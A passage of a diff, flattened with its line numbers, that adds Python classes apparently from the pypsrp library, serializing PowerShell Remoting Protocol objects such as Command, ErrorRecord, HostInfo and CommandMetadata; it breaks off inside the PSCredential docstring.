+ for command in statement.cmds: 504 + commands.append(command) 505 + commands[-1].end_of_statement = True 506 + self.commands = commands 507 + 508 + def _get_statements(self): 509 + statements = [] 510 + current_statement = [] 511 + 512 + # set the last command to be the end of the statement 513 + self.commands[-1].end_of_statement = True 514 + for command in self.commands: 515 + # need to use deepcopy as the values can be appended to multiple 516 + # parents and in lxml that removes it from the original parent, 517 + # whereas this will create a copy of the statement for each parent 518 + current_statement.append(deepcopy(command)) 519 + if command.end_of_statement: 520 + statements.append(current_statement) 521 + current_statement = [] 522 + 523 + return statements 524 + 525 + 526 + class Command(ComplexObject): 527 + def __init__( 528 + self, 529 + cmd: typing.Optional[str] = None, 530 + protocol_version: str = "2.3", 531 + **kwargs: typing.Any, 532 + ) -> None: 533 + """ 534 + [MS-PSRP] 2.2.3.12 Command 535 + https://msdn.microsoft.com/en-us/library/dd339976.aspx 536 + 537 + :param cmd: The cmdlet or script to run 538 + :param protocol_version: The negotiated protocol version of the remote 539 + host. This determines what merge_* objects are added to the 540 + serialized xml. 541 + :param is_script: Whether cmd is a script or not 542 + :param use_local_scope: Use local or global scope to invoke commands 543 + :param merge_my_result: Controls the behaviour of what stream to merge 544 + to 'merge_to_result'. Only supports NONE or ERROR (only used in 545 + protocol 2.1) 546 + :param merge_to_result: Controls the behaviour of where to merge the 547 + 'merge_my_result' stream. Only supports NONE or OUTPUT (only used 548 + in protocol 2.1) 549 + :param merge_previous: Controls the behaviour of where to merge the 550 + previous Output and Error streams that have been unclaimed 551 + :param merge_error: The merge behaviour of the Error stream 552 + :param merge_warning: The merge behaviour of the Warning stream 553 + :param merge_verbose: The merge behaviour of the Verbose stream 554 + :param merge_debug: The merge behaviour of the Debug stream 555 + :param merge_information: The merge behaviour of the Information stream 556 + :param args: List of CommandParameters for the cmdlet being invoked 557 + :param end_of_statement: Whether this command is the last in the 558 + current statement 559 + """ 560 + super(Command, self).__init__() 561 + arg_types = [ 562 + "System.Collections.Generic.List`1[[" 563 + "System.Management.Automation.PSObject, " 564 + "System.Management.Automation, " 565 + "Version=1.0.0.0, Culture=neutral, " 566 + "PublicKeyToken=31bf3856ad364e35]]", 567 + "System.Object", 568 + ] 569 + extended_properties = [ 570 + ("cmd", ObjectMeta("S", name="Cmd")), 571 + ("is_script", ObjectMeta("B", name="IsScript")), 572 + ("use_local_scope", ObjectMeta("B", name="UseLocalScope")), 573 + ("merge_my_result", ObjectMeta("Obj", name="MergeMyResult", object=PipelineResultTypes)), 574 + ("merge_to_result", ObjectMeta("Obj", name="MergeToResult", object=PipelineResultTypes)), 575 + ("merge_previous", ObjectMeta("Obj", name="MergePreviousResults", object=PipelineResultTypes)), 576 + ("args", ListMeta(name="Args", list_value_meta=ObjectMeta(object=CommandParameter), list_types=arg_types)), 577 + ] 578 + 579 + if version_equal_or_newer(protocol_version, "2.2"): 580 + extended_properties.extend( 581 + [ 582 + ("merge_error", ObjectMeta("Obj", name="MergeError", object=PipelineResultTypes, optional=True)), 583 + ( 584 + "merge_warning", 585 + ObjectMeta("Obj", name="MergeWarning", object=PipelineResultTypes, optional=True), 586 + ), 587 + ( 588 + "merge_verbose", 589 + ObjectMeta("Obj", name="MergeVerbose", object=PipelineResultTypes, optional=True), 590 + ), 591 + ("merge_debug", ObjectMeta("Obj", name="MergeDebug", object=PipelineResultTypes, optional=True)), 592 + ] 593 + ) 594 + 595 + if version_equal_or_newer(protocol_version, "2.3"): 596 + extended_properties.extend( 597 + [ 598 + ( 599 + "merge_information", 600 + ObjectMeta("Obj", name="MergeInformation", object=PipelineResultTypes, optional=True), 601 + ), 602 + ] 603 + ) 604 + self._extended_properties = tuple(extended_properties) 605 + 606 + self.cmd = cmd 607 + self.protocol_version = protocol_version 608 + self.is_script = kwargs.get("is_script") 609 + self.use_local_scope = kwargs.get("use_local_scope") 610 + 611 + none_merge = PipelineResultTypes(value=PipelineResultTypes.NONE) 612 + 613 + # valid in all protocols, only really used in 2.1 (PowerShell 2.0) 614 + self.merge_my_result = kwargs.get("merge_my_result", none_merge) 615 + self.merge_to_result = kwargs.get("merge_to_result", none_merge) 616 + 617 + self.merge_previous = kwargs.get("merge_previous", none_merge) 618 + 619 + # only valid for 2.2+ (PowerShell 3.0+) 620 + self.merge_error = kwargs.get("merge_error", none_merge) 621 + self.merge_warning = kwargs.get("merge_warning", none_merge) 622 + self.merge_verbose = kwargs.get("merge_verbose", none_merge) 623 + self.merge_debug = kwargs.get("merge_debug", none_merge) 624 + 625 + # only valid for 2.3+ (PowerShell 5.0+) 626 + self.merge_information = kwargs.get("merge_information", none_merge) 627 + 628 + self.args = kwargs.get("args", []) 629 + 630 + # not used in the serialized message but controls how Pipeline is 631 + # packed (Cmds/ExtraCmds) 632 + self.end_of_statement = kwargs.get("end_of_statement", False) 633 + 634 + 635 + class CommandParameter(ComplexObject): 636 + def __init__( 637 + self, 638 + name: typing.Optional[str] = None, 639 + value: typing.Any = None, 640 + ) -> None: 641 + """ 642 + [MS-PSRP] 2.2.3.13 Command Parameter 643 + https://msdn.microsoft.com/en-us/library/dd359709.aspx 644 + 645 + :param name: The name of the parameter, otherwise None 646 + :param value: The value of the parameter, can be any primitive type 647 + or Complex Object, Null for no value 648 + """ 649 + super(CommandParameter, self).__init__() 650 + self._extended_properties = ( 651 + ("name", ObjectMeta("S", name="N")), 652 + ("value", ObjectMeta(name="V")), 653 + ) 654 + self.name = name 655 + self.value = value 656 + 657 + 658 + # The host default data is serialized quite differently from the normal rules 659 + # this contains some sub classes that are specific to the serialized form 660 + class _HostDefaultData(ComplexObject): 661 + class _DictValue(ComplexObject): 662 + def __init__(self, **kwargs): 663 + super(_HostDefaultData._DictValue, self).__init__() 664 + self._extended_properties = ( 665 + ("value_type", ObjectMeta("S", name="T")), 666 + ("value", ObjectMeta(name="V")), 667 + ) 668 + self.value_type = kwargs.get("value_type") 669 + self.value = kwargs.get("value") 670 + 671 + class _Color(ComplexObject): 672 + def __init__(self, color): 673 + super(_HostDefaultData._Color, self).__init__() 674 + self._extended_properties = ( 675 + ("type", ObjectMeta("S", name="T")), 676 + ("color", ObjectMeta("I32", name="V")), 677 + ) 678 + self.type = "System.ConsoleColor" 679 + self.color = color.value 680 + 681 + class _Coordinates(ComplexObject): 682 + def __init__(self, coordinates): 683 + super(_HostDefaultData._Coordinates, self).__init__() 684 + self._extended_properties = ( 685 + ("type", ObjectMeta("S", name="T")), 686 + ("value", ObjectMeta("ObjDynamic", name="V", object=GenericComplexObject)), 687 + ) 688 + self.type = "System.Management.Automation.Host.Coordinates" 689 + self.value = GenericComplexObject() 690 + self.value.extended_properties["x"] = coordinates.x 691 + self.value.extended_properties["y"] = coordinates.y 692 + 693 + class _Size(ComplexObject): 694 + def __init__(self, size): 695 + super(_HostDefaultData._Size, self).__init__() 696 + self._extended_properties = ( 697 + ("type", ObjectMeta("S", name="T")), 698 + ("value", ObjectMeta("ObjDynamic", name="V", object=GenericComplexObject)), 699 + ) 700 + self.type = "System.Management.Automation.Host.Size" 701 + self.value = GenericComplexObject() 702 + self.value.extended_properties["width"] = size.width 703 + self.value.extended_properties["height"] = size.height 704 + 705 + def __init__(self, **kwargs): 706 + # Used by HostInfo to encapsulate the host info values inside a 707 + # special object required by PSRP 708 + super(_HostDefaultData, self).__init__() 709 + key_meta = ObjectMeta("I32", name="Key") 710 + self._extended_properties = (("_host_dict", DictionaryMeta(name="data", dict_key_meta=key_meta)),) 711 + self.raw_ui = kwargs.get("raw_ui") 712 + 713 + @property 714 + def _host_dict(self): 715 + return ( 716 + (0, self._Color(self.raw_ui.foreground_color)), 717 + (1, self._Color(self.raw_ui.background_color)), 718 + (2, self._Coordinates(self.raw_ui.cursor_position)), 719 + (3, self._Coordinates(self.raw_ui.window_position)), 720 + (4, self._DictValue(value_type="System.Int32", value=self.raw_ui.cursor_size)), 721 + (5, self._Size(self.raw_ui.buffer_size)), 722 + (6, self._Size(self.raw_ui.window_size)), 723 + (7, self._Size(self.raw_ui.max_window_size)), 724 + (8, self._Size(self.raw_ui.max_physical_window_size)), 725 + (9, self._DictValue(value_type="System.String", value=self.raw_ui.window_title)), 726 + ) 727 + 728 + 729 + class HostInfo(ComplexObject): 730 + def __init__( 731 + self, 732 + **kwargs: typing.Any, 733 + ) -> None: 734 + """ 735 + [MS-PSRP] 2.2.3.14 HostInfo 736 + https://msdn.microsoft.com/en-us/library/dd340936.aspx 737 + 738 + :param host: An implementation of pypsrp.host.PSHost that defines the 739 + local host 740 + """ 741 + super(HostInfo, self).__init__() 742 + self._extended_properties = ( 743 + ("_host_data", ObjectMeta("Obj", name="_hostDefaultData", optional=True, object=_HostDefaultData)), 744 + ("_is_host_null", ObjectMeta("B", name="_isHostNull")), 745 + ("_is_host_ui_null", ObjectMeta("B", name="_isHostUINull")), 746 + ("_is_host_raw_ui_null", ObjectMeta("B", name="_isHostRawUINull")), 747 + ("_use_runspace_host", ObjectMeta("B", name="_useRunspaceHost")), 748 + ) 749 + self.host = kwargs.get("host", None) 750 + 751 + @property 752 + def _is_host_null(self): 753 + return self.host is None 754 + 755 + @property 756 + def _is_host_ui_null(self): 757 + if self.host is not None: 758 + return self.host.ui is None 759 + else: 760 + return True 761 + 762 + @property 763 + def _is_host_raw_ui_null(self): 764 + if self.host is not None and self.host.ui is not None: 765 + return self.host.ui.raw_ui is None 766 + else: 767 + return True 768 + 769 + @property 770 + def _use_runspace_host(self): 771 + return self.host is None 772 + 773 + @property 774 + def _host_data(self): 775 + if self._is_host_raw_ui_null: 776 + return None 777 + else: 778 + host_data = _HostDefaultData(raw_ui=self.host.ui.raw_ui) 779 + return host_data 780 + 781 + 782 + class ErrorRecord(ComplexObject): 783 + def __init__(self, **kwargs): 784 + """ 785 + [MS-PSRP] 2.2.3.15 ErrorRecord 786 + https://msdn.microsoft.com/en-us/library/dd340106.aspx 787 + """ 788 + super(ErrorRecord, self).__init__() 789 + self._types = ["System.Management.Automation.ErrorRecord", "System.Object"] 790 + self._extended_properties = ( 791 + ("exception", ObjectMeta(name="Exception", optional=True)), 792 + ("target_object", ObjectMeta(name="TargetObject", optional=True)), 793 + ("invocation", ObjectMeta("B", name="SerializeExtendedInfo")), 794 + ( 795 + "invocation_info", 796 + ObjectMeta("ObjDynamic", name="InvocationInfo", object=GenericComplexObject, optional=True), 797 + ), 798 + ("fq_error", ObjectMeta("S", name="FullyQualifiedErrorId")), 799 + ("category", ObjectMeta("I32", name="ErrorCategory_Category")), 800 + ("activity", ObjectMeta("S", name="ErrorCategory_Activity", optional=True)), 801 + ("reason", ObjectMeta("S", name="ErrorCategory_Reason", optional=True)), 802 + ("target_name", ObjectMeta("S", name="ErrorCategory_TargetName", optional=True)), 803 + ("target_type", ObjectMeta("S", name="ErrorCategory_TargetType", optional=True)), 804 + ("message", ObjectMeta("S", name="ErrorCategory_Message", optional=True)), 805 + ("details_message", ObjectMeta("S", name="ErrorDetails_Message", optional=True)), 806 + ("action", ObjectMeta("S", name="ErrorDetails_RecommendedAction", optional=True)), 807 + ("script_stacktrace", ObjectMeta("S", name="ErrorDetails_ScriptStackTrace", optional=True)), 808 + ("extended_info_present", ObjectMeta("B", name="SerializeExtendedInfo")), 809 + ("invocation_name", ObjectMeta("S", optional=True, name="InvocationInfo_InvocationName")), 810 + ( 811 + "invocation_bound_parameters", 812 + DictionaryMeta( 813 + name="InvocationInfo_BoundParameters", 814 + optional=True, 815 + dict_key_meta=ObjectMeta("S"), 816 + dict_types=[ 817 + "System.Management.Automation.PSBoundParametersDictionary", 818 + "System.Collections.Generic.Dictionary`2[[System.String, " 819 + "mscorlib, Version=4.0.0.0, Culture=neutral, " 820 + "PublicKeyToken=b77a5c561934e089]," 821 + "[System.Object, mscorlib, Version=4.0.0.0, " 822 + "Culture=neutral, PublicKeyToken=b77a5c561934e089]]", 823 + "System.Object", 824 + ], 825 + ), 826 + ), 827 + ( 828 + "invocation_unbound_arguments", 829 + ListMeta( 830 + name="InvocationInfo_UnboundArguments", 831 + optional=True, 832 + list_types=[ 833 + "System.Collections.Generic.List`1[[" 834 + "System.Object, mscorlib, Version=4.0.0.0, " 835 + "Culture=neutral, PublicKeyToken=b77a5c561934e089]]", 836 + "System.Object", 837 + ], 838 + ), 839 + ), 840 + ( 841 + "invocation_command_origin", 842 + ObjectMeta("Obj", name="InvocationInfo_CommandOrigin", optional=True, object=CommandOrigin), 843 + ), 844 + ("invocation_expecting_input", ObjectMeta("B", name="InvocationInfo_ExpectingInput", optional=True)), 845 + ("invocation_line", ObjectMeta("S", name="InvocationInfo_Line", optional=True)), 846 + ("invocation_offset_in_line", ObjectMeta("I32", name="InvocationInfo_OffsetInLine", optional=True)), 847 + ("invocation_position_message", ObjectMeta("S", name="InvocationInfo_PositionMessage", optional=True)), 848 + ("invocation_script_name", ObjectMeta("S", name="InvocationInfo_ScriptName", optional=True)), 849 + ("invocation_script_line_number", ObjectMeta("I32", name="InvocationInfo_ScriptLineNumber", optional=True)), 850 + ("invocation_history_id", ObjectMeta("I64", name="InvocationInfo_HistoryId", optional=True)), 851 + ("invocation_pipeline_length", ObjectMeta("I32", name="InvocationInfo_PipelineLength", optional=True)), 852 + ("invocation_pipeline_position", ObjectMeta("I32", name="InvocationInfo_PipelinePosition", optional=True)), 853 + ( 854 + "invocation_pipeline_iteration_info", 855 + ListMeta( 856 + name="InvocationInfo_PipelineIterationInfo", 857 + optional=True, 858 + list_value_meta=ObjectMeta("I32"), 859 + list_types=["System.In32[]", "System.Array", "System.Object"], 860 + ), 861 + ), 862 + ( 863 + "command_type", 864 + ObjectMeta( 865 + "Obj", 866 + name="CommandInfo_CommandType", 867 + object=CommandType, 868 + optional=True, 869 + ), 870 + ), 871 + ( 872 + "command_definition", 873 + ObjectMeta( 874 + "S", 875 + name="CommandInfo_Definition", 876 + optional=True, 877 + ), 878 + ), 879 + ("command_name", ObjectMeta("S", name="CommandInfo_Name", optional=True)), 880 + ( 881 + "command_visibility", 882 + ObjectMeta("Obj", name="CommandInfo_Visibility", object=SessionStateEntryVisibility, optional=True), 883 + ), 884 + ( 885 + "pipeline_iteration_info", 886 + ListMeta( 887 + name="PipelineIterationInfo", 888 + optional=True, 889 + list_value_meta=ObjectMeta("I32"), 890 + list_types=[ 891 + "System.Collections.ObjectModel.ReadOnlyCollection`1[[" 892 + "System.Int32, mscorlib, Version=4.0.0.0, " 893 + "Culture=neutral, PublicKeyToken=b77a5c561934e089]]", 894 + "System.Object", 895 + ], 896 + ), 897 + ), 898 + ) 899 + self.exception = kwargs.get("exception") 900 + self.target_info = kwargs.get("target_info") 901 + self.invocation = kwargs.get("invocation") 902 + self.fq_error = kwargs.get("fq_error") 903 + self.category = kwargs.get("category") 904 + self.activity = kwargs.get("activity") 905 + self.reason = kwargs.get("reason") 906 + self.target_name = kwargs.get("target_name") 907 + self.target_type = kwargs.get("target_type") 908 + self.message = kwargs.get("message") 909 + self.details_message = kwargs.get("details_message") 910 + self.action = kwargs.get("action") 911 + self.pipeline_iteration_info = kwargs.get("pipeline_iteration_info") 912 + self.invocation_name = kwargs.get("invocation_name") 913 + self.invocation_bound_parameters = kwargs.get("invocation_bound_parameters") 914 + self.invocation_unbound_arguments = kwargs.get("invocation_unbound_arguments") 915 + self.invocation_command_origin = kwargs.get("invocation_command_origin") 916 + self.invocation_expecting_input = kwargs.get("invocation_expecting_input") 917 + self.invocation_line = kwargs.get("invocation_line") 918 + self.invocation_offset_in_line = kwargs.get("invocation_offset_in_line") 919 + self.invocation_position_message = kwargs.get("invocation_position_message") 920 + self.invocation_script_name = kwargs.get("invocation_script_name") 921 + self.invocation_script_line_number = kwargs.get("invocation_script_line_number") 922 + self.invocation_history_id = kwargs.get("invocation_history_id") 923 + self.invocation_pipeline_length = kwargs.get("invocation_pipeline_length") 924 + self.invocation_pipeline_position = kwargs.get("invocation_pipeline_position") 925 + self.invocation_pipeline_iteration_info = kwargs.get("invocation_pipeline_iteration_info") 926 + self.command_type = kwargs.get("command_type") 927 + self.command_definition = kwargs.get("command_definition") 928 + self.command_name = kwargs.get("command_name") 929 + self.command_visibility = kwargs.get("command_visibility") 930 + self.extended_info_present = self.invocation is not None 931 + 932 + 933 + class InformationalRecord(ComplexObject): 934 + def __init__(self, **kwargs): 935 + """ 936 + [MS-PSRP] 2.2.3.16 InformationalRecord (Debug/Warning/Verbose) 937 + https://msdn.microsoft.com/en-us/library/dd305072.aspx 938 + """ 939 + super(InformationalRecord, self).__init__() 940 + self._types = ["System.Management.Automation.InformationRecord", "System.Object"] 941 + self._extended_properties = ( 942 + ("message", ObjectMeta("S", name="InformationalRecord_Message")), 943 + ("invocation", ObjectMeta("B", name="InformationalRecord_SerializeInvocationInfo")), 944 + ("invocation_name", ObjectMeta("S", optional=True, name="InvocationInfo_InvocationName")), 945 + ( 946 + "invocation_bound_parameters", 947 + DictionaryMeta( 948 + name="InvocationInfo_BoundParameters", 949 + optional=True, 950 + dict_key_meta=ObjectMeta("S"), 951 + dict_types=[ 952 + "System.Management.Automation.PSBoundParametersDictionary", 953 + "System.Collections.Generic.Dictionary`2[[System.String, " 954 + "mscorlib, Version=4.0.0.0, Culture=neutral, " 955 + "PublicKeyToken=b77a5c561934e089]," 956 + "[System.Object, mscorlib, Version=4.0.0.0, " 957 + "Culture=neutral, PublicKeyToken=b77a5c561934e089]]", 958 + "System.Object", 959 + ], 960 + ), 961 + ), 962 + ( 963 + "invocation_unbound_arguments", 964 + ListMeta( 965 + name="InvocationInfo_UnboundArguments", 966 + optional=True, 967 + list_types=[ 968 + "System.Collections.Generic.List`1[[" 969 + "System.Object, mscorlib, Version=4.0.0.0, " 970 + "Culture=neutral, PublicKeyToken=b77a5c561934e089]]", 971 + "System.Object", 972 + ], 973 + ), 974 + ), 975 + ( 976 + "invocation_command_origin", 977 + ObjectMeta("Obj", name="InvocationInfo_CommandOrigin", optional=True, object=CommandOrigin), 978 + ), 979 + ("invocation_expecting_input", ObjectMeta("B", name="InvocationInfo_ExpectingInput", optional=True)), 980 + ("invocation_line", ObjectMeta("S", name="InvocationInfo_Line", optional=True)), 981 + ("invocation_offset_in_line", ObjectMeta("I32", name="InvocationInfo_OffsetInLine", optional=True)), 982 + ("invocation_position_message", ObjectMeta("S", name="InvocationInfo_PositionMessage", optional=True)), 983 + ("invocation_script_name", ObjectMeta("S", name="InvocationInfo_ScriptName", optional=True)), 984 + ("invocation_script_line_number", ObjectMeta("I32", name="InvocationInfo_ScriptLineNumber", optional=True)), 985 + ("invocation_history_id", ObjectMeta("I64", name="InvocationInfo_HistoryId", optional=True)), 986 + ("invocation_pipeline_length", ObjectMeta("I32", name="InvocationInfo_PipelineLength", optional=True)), 987 + ("invocation_pipeline_position", ObjectMeta("I32", name="InvocationInfo_PipelinePosition", optional=True)), 988 + ( 989 + "invocation_pipeline_iteration_info", 990 + ListMeta( 991 + name="InvocationInfo_PipelineIterationInfo", 992 + optional=True, 993 + list_value_meta=ObjectMeta("I32"), 994 + list_types=["System.In32[]", "System.Array", "System.Object"], 995 + ), 996 + ), 997 + ( 998 + "command_type", 999 + ObjectMeta( 1000 + "Obj", 1001 + name="CommandInfo_CommandType", 1002 + object=CommandType, 1003 + optional=True, 1004 + ), 1005 + ), 1006 + ( 1007 + "command_definition", 1008 + ObjectMeta( 1009 + "S", 1010 + name="CommandInfo_Definition", 1011 + optional=True, 1012 + ), 1013 + ), 1014 + ("command_name", ObjectMeta("S", name="CommandInfo_Name", optional=True)), 1015 + ( 1016 + "command_visibility", 1017 + ObjectMeta("Obj", name="CommandInfo_Visibility", object=SessionStateEntryVisibility, optional=True), 1018 + ), 1019 + ( 1020 + "pipeline_iteration_info", 1021 + ListMeta( 1022 + name="InformationalRecord_PipelineIterationInfo", 1023 + optional=True, 1024 + list_value_meta=ObjectMeta("I32"), 1025 + list_types=[ 1026 + "System.Collections.ObjectModel.ReadOnlyCollection`1[[" 1027 + "System.Int32, mscorlib, Version=4.0.0.0, " 1028 + "Culture=neutral, PublicKeyToken=b77a5c561934e089]]", 1029 + "System.Object", 1030 + ], 1031 + ), 1032 + ), 1033 + ) 1034 + self.message = kwargs.get("message") 1035 + self.pipeline_iteration_info = kwargs.get("pipeline_iteration_info") 1036 + self.invocation_name = kwargs.get("invocation_name") 1037 + self.invocation_bound_parameters = kwargs.get("invocation_bound_parameters") 1038 + self.invocation_unbound_arguments = kwargs.get("invocation_unbound_arguments") 1039 + self.invocation_command_origin = kwargs.get("invocation_command_origin") 1040 + self.invocation_expecting_input = kwargs.get("invocation_expecting_input") 1041 + self.invocation_line = kwargs.get("invocation_line") 1042 + self.invocation_offset_in_line = kwargs.get("invocation_offset_in_line") 1043 + self.invocation_position_message = kwargs.get("invocation_position_message") 1044 + self.invocation_script_name = kwargs.get("invocation_script_name") 1045 + self.invocation_script_line_number = kwargs.get("invocation_script_line_number") 1046 + self.invocation_history_id = kwargs.get("invocation_history_id") 1047 + self.invocation_pipeline_length = kwargs.get("invocation_pipeline_length") 1048 + self.invocation_pipeline_position = kwargs.get("invocation_pipeline_position") 1049 + self.invocation_pipeline_iteration_info = kwargs.get("invocation_pipeline_iteration_info") 1050 + self.command_type = kwargs.get("command_type") 1051 + self.command_definition = kwargs.get("command_definition") 1052 + self.command_name = kwargs.get("command_name") 1053 + self.command_visibility = kwargs.get("command_visibility") 1054 + self.invocation = False 1055 + 1056 + 1057 + class HostMethodIdentifier(Enum): 1058 + def __init__(self, **kwargs): 1059 + """ 1060 + [MS-PSRP] 2.2.3.17 Host Method Identifier 1061 + https://msdn.microsoft.com/en-us/library/dd306624.aspx 1062 + 1063 + Represents methods to be executed on a host. 1064 + 1065 + :param value: The method identifier to execute 1066 + """ 1067 + string_map = { 1068 + 1: "GetName", 1069 + 2: "GetVersion", 1070 + 3: "GetInstanceId", 1071 + 4: "GetCurrentCulture", 1072 + 5: "GetCurrentUICulture", 1073 + 6: "SetShouldExit", 1074 + 7: "EnterNestedPrompt", 1075 + 8: "ExitNestedPrompt", 1076 + 9: "NotifyBeginApplication", 1077 + 10: "NotifyEndApplication", 1078 + 11: "ReadLine", 1079 + 12: "ReadLineAsSecureString", 1080 + 13: "Write1", 1081 + 14: "Write2", 1082 + 15: "WriteLine1", 1083 + 16: "WriteLine2", 1084 + 17: "WriteLine3", 1085 + 18: "WriteErrorLine", 1086 + 19: "WriteDebugLine", 1087 + 20: "WriteProgress", 1088 + 21: "WriteVerboseLine", 1089 + 22: "WriteWarningLine", 1090 + 23: "Prompt", 1091 + 24: "PromptForCredential1", 1092 + 25: "PromptForCredential2", 1093 + 26: "PromptForChoice", 1094 + 27: "GetForegroundColor", 1095 + 28: "SetForegroundColor", 1096 + 29: "GetBackgroundColor", 1097 + 30: "SetBackgroundColor", 1098 + 31: "GetCursorPosition", 1099 + 32: "SetCursorPosition", 1100 + 33: "GetWindowPosition", 1101 + 34: "SetWindowPosition", 1102 + 35: "GetCursorSize", 1103 + 36: "SetCursorSize", 1104 + 37: "GetBufferSize", 1105 + 38: "SetBufferSize", 1106 + 39: "GetWindowSize", 1107 + 40: "SetWindowSize", 1108 + 41: "GetWindowTitle", 1109 + 42: "SetWindowTitle", 1110 + 43: "GetMaxWindowSize", 1111 + 44: "GetMaxPhysicalWindowSize", 1112 + 45: "GetKeyAvailable", 1113 + 46: "ReadKey", 1114 + 47: "FlushInputBuffer", 1115 + 48: "SetBufferContents1", 1116 + 49: "SetBufferContents2", 1117 + 50: "GetBufferContents", 1118 + 51: "ScrollBufferContents", 1119 + 52: "PushRunspace", 1120 + 53: "PopRunspace", 1121 + 54: "GetIsRunspacePushed", 1122 + 55: "GetRunspce", 1123 + 56: "PromptForChoiceMultipleSelection", 1124 + } 1125 + super(HostMethodIdentifier, self).__init__( 1126 + "System.Management.Automation.Remoting.RemoteHostMethodId", string_map, **kwargs 1127 + ) 1128 + 1129 + 1130 + class CommandType(Enum): 1131 + ALIAS = 0x0001 1132 + FUNCTION = 0x0002 1133 + FILTER = 0x0004 1134 + CMDLET = 0x0008 1135 + EXTERNAL_SCRIPT = 0x0010 1136 + APPLICATION = 0x0020 1137 + SCRIPT = 0x0040 1138 + WORKFLOW = 0x0080 1139 + CONFIGURATION = 0x0100 1140 + ALL = 0x01FF 1141 + 1142 + def __init__(self, **kwargs): 1143 + """ 1144 + [MS-PSRP] 2.2.3.19 CommandType 1145 + https://msdn.microsoft.com/en-us/library/ee175965.aspx 1146 + 1147 + :param value: The initial flag value for CommandType 1148 + """ 1149 + super(CommandType, self).__init__("System.Management.Automation.CommandTypes", {}, **kwargs) 1150 + 1151 + @property # type: ignore[override] 1152 + def _to_string(self) -> str: # type: ignore[override] 1153 + if self.value == 0x01FF: 1154 + return "All" 1155 + 1156 + string_map = ( 1157 + ("Alias", 0x0001), 1158 + ("Function", 0x0002), 1159 + ("Filter", 0x0004), 1160 + ("Cmdlet", 0x0008), 1161 + ("ExternalScript", 0x0010), 1162 + ("Application", 0x0020), 1163 + ("Script", 0x0040), 1164 + ("Workflow", 0x0080), 1165 + ("Configuration", 0x0100), 1166 + ) 1167 + values = [] 1168 + for name, flag in string_map: 1169 + if (self.value or 0) & flag == flag: 1170 + values.append(name) 1171 + return ", ".join(values) 1172 + 1173 + @_to_string.setter 1174 + def _to_string(self, value): 1175 + pass 1176 + 1177 + 1178 + class CommandMetadataCount(ComplexObject): 1179 + def __init__(self, **kwargs): 1180 + """ 1181 + [MS-PSRP] 2.2.3.21 CommandMetadataCount 1182 + https://msdn.microsoft.com/en-us/library/ee175881.aspx 1183 + 1184 + :param count: The number of CommandMetadata messages in the pipeline 1185 + output 1186 + """ 1187 + super(CommandMetadataCount, self).__init__() 1188 + self.types = [ 1189 + "Selected.Microsoft.PowerShell.Commands.GenericMeasureInfo", 1190 + "System.Management.Automation.PSCustomObject", 1191 + "System.Object", 1192 + ] 1193 + self._extended_properties = (("count", ObjectMeta("I32", name="Count")),) 1194 + self.count = kwargs.get("count") 1195 + 1196 + 1197 + class CommandMetadata(ComplexObject): 1198 + def __init__(self, **kwargs): 1199 + """ 1200 + [MS-PSRP] 2.2.3.22 CommandMetadata 1201 + https://msdn.microsoft.com/en-us/library/ee175993.aspx 1202 + 1203 + :param name: The name of a command 1204 + :param namespace: The namespace of the command 1205 + :param help_uri: The URI to the documentation of the command 1206 + :param command_type: The CommandType of the command 1207 + :param output_type: The types of objects that a command can send as 1208 + output 1209 + :param parameters: Metadata of parameters that the command can accept 1210 + as Command Parameters 1211 + """ 1212 + super(CommandMetadata, self).__init__() 1213 + self.types = ["System.Management.Automation.PSCustomObject", "System.Object"] 1214 + self._extended_properties = ( 1215 + ("name", ObjectMeta("S", name="Name")), 1216 + ("namespace", ObjectMeta("S", name="Namespace")), 1217 + ("help_uri", ObjectMeta("S", name="HelpUri")), 1218 + ("command_type", ObjectMeta("Obj", name="CommandType", object=CommandType)), 1219 + ( 1220 + "output_type", 1221 + ListMeta( 1222 + name="OutputType", 1223 + list_value_meta=ObjectMeta("S"), 1224 + list_types=[ 1225 + "System.Collections.ObjectModel.ReadOnlyCollection`1[[" 1226 + "System.Management.Automation.PSTypeName, " 1227 + "System.Management.Automation, Version=3.0.0.0, " 1228 + "Culture=neutral, PublicKeyToken=31bf3856ad364e35]]", 1229 + ], 1230 + ), 1231 + ), 1232 + ( 1233 + "parameters", 1234 + DictionaryMeta( 1235 + name="Parameters", 1236 + dict_key_meta=ObjectMeta("S"), 1237 + dict_value_meta=ObjectMeta("Obj", object=ParameterMetadata), 1238 + ), 1239 + ), 1240 + ) 1241 + self.name = kwargs.get("name") 1242 + self.namespace = kwargs.get("namespace") 1243 + self.help_uri = kwargs.get("help_uri") 1244 + self.command_type = kwargs.get("command_type") 1245 + self.output_type = kwargs.get("output_type") 1246 + self.parameters = kwargs.get("parameters") 1247 + 1248 + 1249 + class ParameterMetadata(ComplexObject): 1250 + def __init__(self, **kwargs): 1251 + """ 1252 + [MS-PSRP] 2.2.3.23 ParameterMetadata 1253 + https://msdn.microsoft.com/en-us/library/ee175918.aspx 1254 + 1255 + :param name: The name of a parameter 1256 + :param parameter_type: The type of the parameter 1257 + :param alises: List of alternative names of the parameter 1258 + :param switch_parameter: True if param is a switch parameter 1259 + :param dynamic: True if param is included as a consequence of the data 1260 + specified in the ArgumentList property 1261 + """ 1262 + super(ParameterMetadata, self).__init__() 1263 + self.types = ["System.Management.Automation.ParameterMetadata", "System.Object"] 1264 + self._adapted_properties = ( 1265 + ("name", ObjectMeta("S", name="Name")), 1266 + ("parameter_type", ObjectMeta("S", name="ParameterType")), 1267 + ( 1268 + "aliases", 1269 + ListMeta( 1270 + name="Aliases", 1271 + list_value_meta=ObjectMeta("S"), 1272 + list_types=[ 1273 + "System.Collections.ObjectModel.Collection`1" 1274 + "[[System.String, mscorlib, Version=4.0.0.0, " 1275 + "Culture=neutral, PublicKeyToken=b77a5c561934e089]]", 1276 + "System.Object", 1277 + ], 1278 + ), 1279 + ), 1280 + ("switch_parameter", ObjectMeta("B", name="SwitchParameter")), 1281 + ("dynamic", ObjectMeta("B", name="IsDynamic")), 1282 + ) 1283 + self.name = kwargs.get("name") 1284 + self.parameter_type = kwargs.get("parameter_type") 1285 + self.aliases = kwargs.get("aliases") 1286 + self.switch_parameter = kwargs.get("switch_parameter") 1287 + self.dynamic = kwargs.get("dynamic") 1288 + 1289 + 1290 + class PSCredential(ComplexObject): 1291 + def __init__(self, **kwargs): 1292 + """ 1293 + [MS-PSRP] 2.2.3.25 PSCredential 1294 + https://msdn.microsoft.com/en-us/library/ee442231.aspx 1295 + 1296 + Represents a username and a password. As the password is a secure 1297 + string, the RunspacePool must have already exchanged keys with 1298 + .exchange_keys() method. 1299 + 1300 + :param username: The username (including the domain if required) 1301 + :param password: The password for the user, this should be a unicode 1302 